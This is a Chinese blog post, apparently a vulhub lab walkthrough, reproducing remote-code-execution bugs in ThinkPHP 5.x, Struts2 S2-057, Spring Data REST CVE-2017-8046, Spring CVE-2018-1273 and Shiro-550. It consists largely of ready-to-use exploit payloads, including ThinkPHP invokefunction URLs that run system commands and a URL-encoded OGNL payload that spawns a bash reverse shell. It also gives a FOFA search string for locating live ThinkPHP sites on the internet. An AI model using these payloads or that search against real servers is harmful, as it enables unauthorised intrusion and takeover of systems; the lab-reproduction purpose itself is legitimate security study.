当前位置: 首页 > news >正文

ThinkPHP5x,struts2等框架靶场复现

Thinkphp

Thinkphp5x远程命令执行及getshell

首先我们先找一个环境,或者自己搭建一个环境

fofa:body="ThinkPHP V5"

搭建:vulhub/thinkphp/5-rce
docker-compose up -d

然后去访问我们的环境

远程命令执行

/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

远程代码执行

/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

struts2

S2-057远程执行代码漏洞

环境依旧采用vulhub搭建

vulhub靶场 /struts2/s2-057

首先我们先搭建好我们的环境

我们再网址后拼接,并访问

/struts2-showcase/${(123+123)}/actionChain1.action

可以发现两个数字相加了,那么我们就可以利用中间来执行代码操作,反弹shell

首先开启监听

然后将中间替换为我们的地址

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('bash -c {echo,反弹shell命令的base64编码}|{base64,-d}|{bash,-i}')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
url编码--->
/%24{%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request['struts.valueStack'].context).(%23cr%3D%23ct['com.opensymphony.xwork2.ActionContext.container']).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('bash -c {echo反弹shell命令的base64编码的url编码}|{base64%2C-d}|{bash%2C-i}')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))}

然后即可反弹到shell 

Spring

Spring Data Rest 远程命令执行命令(CVE-2017-8046)

搭建环境

vulhub靶场 /spring/CVE-2017-8046

访问我们的环境,出现这个页面即为搭建成功

然后开启抓包,刷新一下页面进行抓包,修改一下我们的请求方式和请求内容

[{ "op": "replace","path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(newbyte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname","value":"vulhub" }]

然后去我们的容器中看一下,写入成功

spring 代码执行(CVE-2018-1273)

按照上述方式按照启动对应编号的环境

访问靶场

随便输入用户名和密码进行登录然后抓包

然后我们修改一下username的内容,可以看到crz创建成功

那么我们可以借此来反弹一下shell,从我们的服务器上下载一下我们反弹shell的文件

然后去访问他,反弹成功

Shiro

Shiro rememberMe反序列化漏洞(Shiro-550)

首先搭建环境

vulhub靶场 /shiro/CVE-2016-4437

然后登录抓包

可以看到有这个字段就说明有这个漏洞,然后我们就可以利用工具来爆破这个漏洞
开启监听
下载并运行我们的反弹shell的文件
2
http://www.xdnf.cn/news/1234891.html

相关文章:

  • LLM - 智能体工作流设计模式
  • 【嵌入式硬件实例】-555定时器IC的负电压发生器
  • 设计原则和设计模式
  • 【C++ 初级工程师面试--4】形参带默认值的函数,特点,效率,注意事项
  • 秋招笔记-8.3
  • PHP面向对象编程与数据库操作完全指南-下
  • C语言数据结构(7)贪吃蛇项目2.贪吃蛇项目实现
  • 云轴科技ZStack AI翻译平台建设实践-聚焦中英
  • React中的Hooks
  • JavaEE初阶第十三期:解锁多线程,从 “单车道” 到 “高速公路” 的编程升级(十一)
  • 设计模式 - 组合模式:用树形结构处理对象之间的复杂关系
  • uniapp 跨端开发
  • 8.3 滑窗 |栈|阶乘判断
  • 什么是列存储(Columnar Storage)?深度解析其原理与应用场景
  • 【领域热点】【Vue】Vue 与 WebAssembly:前端性能优化的黄金搭档
  • [创业之路-535]:软件需要原型验证、产品需要原型验证、商业模式也需要原型验证
  • 实战解析:编程式事务在实际开发中的典型应用场景
  • Linux系统编程Day4-- Linux常用工具(yum与vim)
  • vulhub-corrosion2靶机
  • 1.8 axios详解
  • Unix 发展史概览
  • ClickHouse Windows迁移方案与测试
  • 一键安装RabbitMQ脚本
  • 电脑声音标志显示红叉的原因
  • 决策树的实际案例
  • Python-初学openCV——图像预处理(六)
  • Linux网络编程 ---五种IO模型
  • Baumer工业相机堡盟工业相机如何通过YoloV8深度学习模型实现各类垃圾的分类检测识别(C#代码UI界面版)
  • 基于MBA与BP神经网络分类模型的特征选择方法研究(Python实现)
  • Java学习第一百部分——Kafka